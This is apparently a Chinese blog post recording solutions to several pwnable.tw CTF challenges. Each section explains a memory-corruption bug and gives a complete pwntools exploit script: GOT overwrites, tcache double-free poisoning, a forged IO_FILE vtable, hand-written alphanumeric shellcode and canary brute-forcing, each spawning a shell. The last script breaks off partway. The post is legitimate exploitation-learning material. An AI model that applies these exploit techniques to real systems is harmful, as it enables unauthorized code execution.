pwnable.tw刷题记录
发表于:2021-10-21 |
字数统计: 8.5k | 阅读时长: 44分钟 | 阅读量:

pwnable.tw刷题记录

1.applestore(假unlink劫持ebp)

这个题实现了一个双向列表的插入和删除操作,实话实说这个题是真的绕。

这个题的漏洞在于栈的地址被写入到了堆上,且栈的区域可控。如下图所示,并没有申请一个堆块而是直接利用栈中的区域作为堆块被插入到了链表中。(后面都将这块栈区域命名为v2)

image-20211021223113162

又因为当checkout函数执行结束后会释放掉栈帧,其他和他同级的函数被调用时重复使用到其栈帧,所以说我们可以控制这一块栈区域。

因为v2距离ebp的距离为0x20。且其同级函数cart()或dele()他们的buf变量也距离ebp为0x20,所以我们可以通过写入这两个函数的buf变量来改变被插入链表中的v2的值。

image-20211021224313910

可以看见buf是my_read函数的参数,因此我们可以利用my_read函数来修改v2的fd指针和bk指针。到这里后我原本的思路是将fd指针写入system的地址,bk指针写入atoi_got-8的地址。但是发现system地址并不在可写段上,所以在进行dele操作时会报错。

dele操作如下图所示,先找到要删除的chunk(victim)的bk指针所指向的bck,也就是bck=victim->bk,然后bck->fd=victim->fd,接着victim->fd->bk=bck这样victim就脱离了双向列表。

image-20211022154110982

报错后,就傻了,想不到绕过的方法了,看了别人的wp后我只能说绝!

思路就是劫持ebp,使ebp的值变为atoi_got+0x22这样当执行dele操作时,buf变量的位置就会变为ebp-0x22也就是atoi_got+0x22-0x22,因此就可以改写atoi的got表。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
#io=process('./applestore')
io=remote('chall.pwnable.tw', 10104)
elf=ELF('./applestore')
#libc=elf.libc
libc=ELF('./libc_32.so.6')
context.log_level='debug'

read_got=elf.got['read']
atoi_plt=elf.plt['atoi']
atoi_got=elf.got['atoi']

def ls():
io.sendlineafter('> ','1')

def add(num):
io.sendlineafter('> ','2')
io.sendlineafter('Number> ',str(num))

def dele(num):
io.sendlineafter('> ','3')
io.sendlineafter('Item Number> ',num)

def cart(context):
io.sendlineafter('> ','4')
io.sendafter('ok? (y/n) > ',context)

def checkout():
io.sendlineafter('> ','5')
io.sendlineafter('ok? (y/n) > ','y')

def exp():
for i in range(6):
add(1)
for i in range(20):
add(2)

checkout()
cart('y'+'\x00'+p32(read_got)+p32(1)+p32(0))
read=u32(io.recvuntil('\xf7')[-4:])
libc_base=read-libc.symbols['read']
print('libc_base',hex(libc_base))
system=libc.symbols['system']+libc_base
environ=libc.symbols['_environ']+libc_base
cart('y\x00'+p32(environ)+p32(1)+p32(0))
io.recvuntil('27: ')
stack=u32(io.recv(4))-0x104-8
print('stack',hex(stack))

#gdb.attach(io)
dele('27\x00\x00\x00\x00'+p32(1)+p32(atoi_got+0x22)+p32(stack))
io.sendlineafter('> ',p32(system)+';/bin/sh\x00')
io.interactive()
exp()

在这里还有一个小知识点就是atoi()不会识别\x00之后的字符。

2.re-alloc(realloc的妙用)

首先我们回顾一下realloc函数的用法:

realloc 函数可以身兼 malloc 和 free 两个函数的功能 .。

  • 当realloc(ptr,size)的size不等于ptr的size时
    • 如果申请size>原来size
      • 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
      • 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
    • 如果申请size<原来size
      • 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
      • 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
  • 当realloc(ptr,size)的size等于0时,相当于free(ptr),且返回0。
  • 当realloc(ptr,size)的size等于ptr的size,不进行任何操作

这个题的漏洞点就在于当我们输入size为0的时候,chunk被free掉,但由于有if(!v3)这个判断,所以堆指针并不会被置0,即存在uaf漏洞。

image-20211025191339484

因为是libc-2.29版本,所以有tcache,可以直接将chunk释放掉后更改atoll函数的got表。在这里我们将其改为printf函数的plt地址,这样就会造成一个格式化字符串漏洞,我们可以利用其来泄露出libc_base,并且printf的返回值是他打印出的字符数,就可以控制index了。最后将atoll的got表改为system函数的地址即可。

因为将atoll的got表改为printf的plt地址后,只能操作index=1的chunk,并且只能申请0x20大小的chunk,因此为了方便我们需要在最开始将tcache的0x20大小的位置布置好为atoll的got地址,这样泄露出地址后才能直接申请0x20大小的chunk改其got表,拿到shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
#io=process('./re-alloc')
io=remote('chall.pwnable.tw' ,10106)
context.log_level='debug'
elf=ELF('./re-alloc')
libc=elf.libc
heap=0x4040b0
atoll_got=elf.got['atoll']
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']

def add(index,size,context):
io.sendlineafter('Your choice: ','1')
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Data:',context)

def readd(index,size,context):
io.sendlineafter('Your choice: ','2')
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Data:',context)

def redele(index,size):
io.sendlineafter('Your choice: ','2')
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size:',str(size))

def dele(index):
io.sendlineafter('Your choice: ','3')
io.sendlineafter('Index:',str(index))

def exp():
add(0,0x10,'a')
redele(0,0)
readd(0,0x10,p64(atoll_got))
add(1,0x10,'b'*0x10)
readd(0,0x20,'c'*0x10)
dele(0)
readd(1,0x20,'d'*0x10)
dele(1)

add(0,0x68,'a')
add(1,0x68,'a')
dele(0)
redele(1,0)
readd(1,0x68,p64(atoll_got))
add(0,0x68,'a'*0x68)
readd(0,0x78,'b'*0x60)
dele(0)
readd(1,0x68,'\x00'*0x10)
add(0,0x68,p64(printf_plt))
#gdb.attach(io)
io.sendlineafter('Your choice: ','3')
io.sendlineafter('Index:','1\x00')

io.sendlineafter('Your choice: ','3')
io.sendlineafter('Index:','%21$p')
libc_start_main=int(io.recv(14),16)-235
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print('libc_base',hex(libc_base))
system=libc_base+libc.symbols['system']
atoll=libc_base+libc.symbols['atoll']

io.sendlineafter('Your choice: ','1')
io.sendafter('Index:','a\x00')
io.sendafter('Size:','a'*0x10)
io.sendafter('Data:',p64(system))
io.sendlineafter('Your choice: ','1')
io.sendafter('Index:','/bin/sh\x00')
io.interactive()

exp()

3.tcache_tear(fakechunk构造需要连续三个)

这个题有两个漏洞点,一个在free后指针没有置0,另一个在申请一个后,对堆进行写操作时有size-16,只要size小于16就会造成堆溢出。在做题的时候我只用到了第一个漏洞。

image-20211026204705480

image-20211026204945871

因为是libc-2.27-3ubuntu1,并没有打补丁,所以tcache并不会检查doublefree,所以我们先申请一个chunk然后free两次,在申请一个相同大小的chunk,就可以控制freechunk中的fd指针。

image-20211026205228948

我们发现show操作只能输出bss段上的值,所以我们要将堆块申请到bss段上。我们先输入name为p64(0)+p64(0x421)先构造出chunk头。接着将freechunk的fd指针指向bss+0x10(因为tcache指向chunk+0x10)。因为我们是要准备free掉这个0x420大小的chunk,所以必须得在他下面写入p64(0)+p64(0x21),然后在free,但这时候却报错了,错误提示如下:

image-20211026210706201

查看源码发现会检查nextchunk的下一个chunk的inuse位,如果为0则会向前合并,并且调用unlink函数,而libc-2.27相对于libc-2.23来说增加了if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))对prevsize的检查。所以我们必须在nextchunk下也写入p64(0)+p64(0x21)这样大小为0x420的chunk才能被放入unsortedbin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    /* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);


/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

然后就能泄露libc的基地址了,打free_hook拿shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
io=process('./tcache_tear')
#io=remote('chall.pwnable.tw' ,10207)
context.log_level='debug'
heap=0x602060
elf=ELF('./tcache_tear')
libc=elf.libc

def add(size,content):
io.sendlineafter('choice :','1')
io.sendlineafter('Size:',str(size))
io.sendlineafter('Data:',content)

def dele():
io.sendlineafter('choice :','2')

def show():
io.sendlineafter('choice :','3')

def exp():
io.sendlineafter('Name:',p64(0)+p64(0x421))
add(0x78,'a')
dele()
dele()
add(0x78,p64(heap+0x420))
add(0x78,'a')
add(0x78,p64(0)+p64(0x21))#+p64(0)+p64(0)+p64(0)+p64(0x21))
add(0x68,'a')
dele()
dele()
add(0x68,p64(heap+0x10))
add(0x68,'a')
add(0x68,'heap')
gdb.attach(io)
dele()
show()
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

add(0x38,'a')
dele()
dele()
add(0x38,p64(free_hook-8))
add(0x38,'a')
add(0x38,'/bin/sh\x00'+p64(system))
dele()
io.interactive()
exp()

4.seethefile(伪造IO_FILE结构体)

这个题实现了一个可以读取并输出服务器上的任意文件的功能。漏洞点在退出时的scanf(“%s”,name)这里没有对长度进行限制可以溢出,可以覆盖掉fp这个IO_FILE指针,我们只需要伪造一个IO_FILE结构就行。

image-20211027214805158

image-20211027215049499

fopen函数的操作简单概括就是:

  • 使用 malloc 分配 FILE 结构
  • 设置 FILE 结构的 vtable
  • 初始化分配的 FILE 结构
  • 将初始化的 FILE 结构链入 FILE 结构链表中
  • 调用系统调用打开文件

fclose函数的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;

CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif

/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)//_IO_IS_FILEBUF的值为0x2000
_IO_un_link ((struct _IO_FILE_plus *) fp);

_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;

__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}

return status;
}

可以看见fclose函数将会调用_IO_FINISH (fp)函数,其存在于vtable需表中,而vtable就存在于_IO_FILE_plus中。

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

我们在构造_IO_FILE结构体主要就是伪造一个vtable表,将_IO_FINISH()覆盖为system的值即可。

现在我们需要先泄露出libc的基地址,因为可以读取并输出任意文件,而libc等文件信息一般被放在/proc//maps中,这里的pid替换为self。因此我们读取他就可以拿到libc的基地址。

从源码中我们可以看出如果_IO_file_flags&0x2000=0就可以绕过前面两个if直接执行_IO_FINISH函数。因此我们只要把_IO_file_flags的值覆盖为满足条件的值即可,且不能有\x00,不然将无法执行后面的;sh\x00。

image-20211027221010581

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#io=process('./seethefile')
io=remote('chall.pwnable.tw' ,10200)
elf=ELF('./seethefile')
libc=ELF('./libc_32.so.6')
#libc=elf.libc
context.log_level='debug'

def opens(filename):
io.recvuntil('Your choice :')
io.sendline('1')
io.sendlineafter('What do you want to see :',filename)

def reads():
io.sendlineafter('Your choice :','2')

def writes():
io.sendlineafter('Your choice :','3')

def closes():
io.sendlineafter('Your choice :','4')

def exp():
opens('/proc/self/maps')
reads()
writes()
io.recvline()
io.recvline()
io.recvline()
heap_addr=int(io.recv(8),16)+0x1010
io.recvline()
libc_base=int(io.recv(8),16)+0x1000
print('heap_addr',hex(heap_addr))
print('libc_base',hex(libc_base))
system=libc_base+libc.symbols['system']

io.sendlineafter('Your choice :','5')
payload='a'*0x20+p32(0x804b290)+p32(0)*3
payload+=p32(0xFBAD1C58)+';sh\x00'+p32(heap_addr+0x560)+p32(heap_addr+0x160)*5
payload+=p32(heap_addr+0x560)+p32(0)*4
payload+=p32(libc_base+libc.symbols['_IO_2_1_stderr_'])+p32(3)
payload+=p32(0)*3+p32(heap_addr+0x98)+p32(0xffffffff)*2
payload+=p32(0)+p32(heap_addr+0xa4)+p32(0)*3+p32(0xffffffff)
payload+=p32(0)*10+p32(0x804b290+0xb8)+p64(0)*4
payload+=p32(0)*2+p32(system)
#gdb.attach(io)
io.sendlineafter('name :',payload)

io.interactive()
exp()

5.Death Note(alpha_shellcode的编写)

可以看见v1是int类型,因此当v1为负数时,就可以修改got表。

image-20211028194544373

因此将堆指针覆盖掉free的got地址,然后调用free函数时eip就直接跳转到堆上执行,因此我们只需要在堆上写shellcode即可。

但这里有个检查,shellcode必须是可显示字符。

image-20211028203053901

这种shellcode被称为alpha_shellcode,写这种shellcode有两种方法,一种是用alpha3这个工具写,但写出的shellcode太长需要两百多字节,所以在这里我们考虑第二种方法手写。

网上有大佬将可以用到的汇编指令都罗列了下来,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

8.构造int 80
#ebx=0
push ebx
pop eax
dec eax
xor [ecx+0x51],al

因此,我们就可以利用这些指令写出我们的shellcode

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
#io=process('./death_note')
io=remote('chall.pwnable.tw' ,10201)
context.log_level='debug'

def add(index,name):
io.sendlineafter('Your choice :','1')
io.sendlineafter('Index :',str(index))
io.sendlineafter('Name :',name)

def show(index):
io.sendlineafter('Your choice :','2')
io.sendlineafter('Index :',str(index))

def dele(index):
io.sendlineafter('Your choice :','3')
io.sendlineafter('Index :',str(index))

def exp():
payload='''
#eax初始就有堆的地址
xor al,0x77;
inc eax;
push eax;
pop ecx;
xor al,0x20;
push eax;
pop edx;
xor al,0x20;
dec eax;
xor al,0x77;

xor [eax+0x26],cl;
xor [eax+0x27],dl;
xor al,0x58;
push eax;
pop ebx;
push 0x56;
pop eax;
sub al,0x56;
push eax;
pop ecx;
push eax;
pop edx;
push 0x2c;
pop eax;
sub al,0x21;
'''
payload=asm(payload)+'\x4d\x20'
payload+='/bin/sha'*4+'/bin/sh'
print(len(payload))
add(-19,payload)
#gdb.attach(io)
dele(-19)

io.interactive()
exp()

7.Spirited Away

这个题的代码虽然少,但是漏洞隐藏的却很深,我前前后后读了很多遍代码,主函数如下,我发现只对nbytes和v3只进行了一次赋值,这样很容易修改他俩的值,如果能修改就好了,然后看要怎么才能修改他们,很自然的就往v1数组看去,发现他的大小只有56,但存储的字符出去数字就有55的长度,说明只能存储一位数的数字,如果有两位甚至三位数字就会溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int survey()
{
char v1[56]; // [esp+10h] [ebp-E8h] BYREF
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s[80]; // [esp+50h] [ebp-A8h] BYREF
int v5; // [esp+A0h] [ebp-58h] BYREF
void *buf; // [esp+A4h] [ebp-54h]
char v7[80]; // [esp+A8h] [ebp-50h] BYREF

nbytes = 0x3C;
v3 = 0x50;
LABEL_2:
memset(s, 0, sizeof(s));
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, s, nbytes);
++cnt;
printf("Name: %s\n", (const char *)buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", v7);
printf("Comment: %s\n\n", s);
fflush(stdout);
sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 89 || choice == 121 )
{
free(buf);
goto LABEL_2;
}
if ( choice == 78 || choice == 110 )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

当cnt为两位数时,那么’\x00’将会覆盖nbytes,当cnt为三位数时,那么’n‘也就是’\x6e‘将会覆盖nbytes,这时就可以溢出来覆盖堆指针buf了。

接下来需要思考将堆指针指向哪,由于free之后立马又malloc了,因此可以在栈上伪造chunk,然后再申请回来,v7离ebp最近,同时我们也可以控制v7的数据,在v7中伪造chunk,然后再利用堆溢出,这样就能改写返回地址了。因为是libc-2.23,unlink操作中没有判断netxchunk的nextchunk,因此我们只需要在fakechunk下写上p32(0)+p32(0x11)就绕过,使栈上的chunk被放入fastbin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
#io=process('./spirited_away')
io=remote('chall.pwnable.tw' ,10204)
elf=ELF('./spirited_away')
#libc=elf.libc
libc=ELF('./libc_32.so.6')
main=elf.symbols['main']
ret=0x0804841e
context.log_level='debug'

def survey(name,age,content,comment,choice):
io.recvuntil(' name: ',timeout=1)
io.send(name)
io.recvuntil('age: ',timeout=1)
io.sendline(str(age))
io.recvuntil('movie? ',timeout=1)
io.send(content)
io.recvuntil('comment: ',timeout=1)
io.send(comment)
io.recvuntil('comment? <y/n>: ',timeout=1)
io.sendline(choice)

def survey2(age,content,choice):
io.recvuntil('age: ',timeout=1)
io.sendline(str(age))
io.recvuntil('movie? ',timeout=1)
io.send(content)
io.recvuntil('comment? <y/n>: ',timeout=1)
io.sendline(choice)


def exp():
io.recvuntil(' name: ')
io.send('a'*0x3c)
io.recvuntil('age: ')
io.sendline(str(20))
io.recvuntil('movie? ')
io.send('b'*0x38)
io.recvuntil('comment: ')
io.send('c'*0x3c)
io.recvuntil('b'*0x38)
stack=u32(io.recv(4))-0x48-0x88+8
io.recv(4)
fflush=u32(io.recv(4))-11
libc_base=fflush-libc.symbols['fflush']
print('libc_base',hex(libc_base))
print('stack',hex(stack))
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search('/bin/sh').next()
exit=libc_base+libc.symbols['_exit']
io.sendlineafter('comment? <y/n>: ','y')

for i in range(9):
sleep(0.1)
survey('a'*0x3c,20,p32(0)+p32(0x41)+p32(0)*0xe+p32(0)+p32(0x11)+p32(0)*3+p32(0x11),'c'*0x3c,'y')
for i in range(90):
sleep(0.1)
survey2(20,'a','y')
print('stack',hex(stack))
survey('f1ag',20,'A','a'*80+p32(1)+p32(stack+0x60),'y')
io.sendafter(' name: ','sh\x00\x00'+'a'*0x44+p32(stack)+p32(system)+p32(main)+p32(binsh),timeout=0.1)
io.sendlineafter('age: ',str(20))
io.sendafter('movie? ','A')
io.sendafter('comment: ','a')
#gdb.attach(io)
io.sendlineafter('comment? <y/n>: ','n')
io.interactive()
exp()

8.BabyStack

这个题是我做到现在为止用到的技巧最多的一次,下面我们来逐一分析。

题目代码挺少,逻辑也挺简单,我们需要注意copy函数中的strcpy函数,我们知道strcpy函数遇到’\x00’才会停止,如果栈上数据都被填满,那么复制给a1后就会造成溢出

那么我们如何使栈被填满呢?我们可以看到copy的参数src[128]和login的参数s[128]使用的是相同的栈地址,并且中间也没有其他函数会改变其栈的内容,所以我们可以填满login中的s[128],这样在使用copy函数后就会造成溢出,覆盖掉返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int __fastcall copy(char *a1)
{
char src[128]; // [rsp+10h] [rbp-80h] BYREF

printf("Copy :");
reads((unsigned __int8 *)src, 0x3Fu);
strcpy(a1, src);
return puts("It is magic copy !");
}

int __fastcall login(const char *a1)
{
size_t v1; // rax
char s[128]; // [rsp+10h] [rbp-80h] BYREF

printf("Your passowrd :");
reads((unsigned __int8 *)s, 0x7Fu);
v1 = strlen(s);
if ( strncmp(s, a1, v1) )
return puts("Failed !");
state = 1;
return puts("Login Success !");
}

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6[64]; // [rsp+0h] [rbp-60h] BYREF
__int64 buf[2]; // [rsp+40h] [rbp-20h] BYREF
char v8[16]; // [rsp+50h] [rbp-10h] BYREF

init();
random = open("/dev/urandom", 0);
read(random, buf, 0x10uLL);
v3 = addr;
v4 = buf[1];
*(_QWORD *)addr = buf[0];
v3[1] = v4;
close(random);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, v8, 16LL, 16LL);
if ( v8[0] == '2' )
break;
if ( v8[0] == '3' )
{
if ( state )
copy(v6);
else
LABEL_13:
puts("Invalid choice");
}
else
{
if ( v8[0] != '1' )
goto LABEL_13;
if ( state )
state = 0;
else
login(buf);
}
}
if ( !state )
exit(0);
memcmp(buf, addr, 0x10uLL);
return 0LL;
}

但由于程序保护全开,且没有能够输出栈上的值的功能,所以很难直接泄露出libc_base等其他地址。但我们发现login函数中有strncmp(),他比较的是a1和s是否相同也就是buf和s是否相同,s是我们的输入可控,buf可以利用前面的溢出,将栈上的值复制到buf及之后,并且可以比较的长度范围为0~0x7f,也就是说我们可以泄露0x7f大小的栈内的值,因此就可以拿到libc_base。

我们需要输入正确的密码才能使用copy函数,但密码是个随机数,虽然可以利用strncmp()函数爆破,但因为发现有strlen()函数,我们输入第一个字节为’\x00’,这样strlen()会返回0,就可以直接绕过strncmp()。

一开始我没有发现canary在哪,执行到最后爆出canary错误,查看汇编可以看到memcmp比较后,如果不为0则跳转到__stacj_chk_fail函数报错,因为memcmp()是不存在’\x00’截断的,所以需要我们必须爆破出密码。

image-20211103201504616

最后,在写rop的时候,需要用到p64()但发现p64()存在’\x00’,会截断,因此我采取从后往前写的措施,即先将最后的system的函数地址写入栈中,然后利用strcpy()函数会复值’\x00’的特性将p64的高两位地址置0,这样就能成功的写入rop。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
#io=process('./babystack')
io=remote('chall.pwnable.tw' ,10205)
elf=ELF('./babystack')
#libc=elf.libc
libc=ELF('./libc_64.so.6')
context.log_level='debug'
context.arch='amd64'

def login(password):
io.sendlineafter('>> ','1')
io.sendafter('passowrd :',password)

def login2():
io.sendlineafter('>> ','1')

def copy(content):
io.sendlineafter('>> ','3')
io.sendafter('Copy :',content)

def exp():

login('\x00'+'a'*0x3f)

copy('a'*0x3e+'\x00')
canary=''
for j in range(0x10):
login2()
for i in range(0xff):
if i == 10 or i == 0:
continue
login(canary+p8(i)+'\x00')
if io.recvuntil('!\n')[-9:] == 'uccess !\n':
canary+=p8(i)
break
canary
login2()
login('\x00'+'a'*0x47)
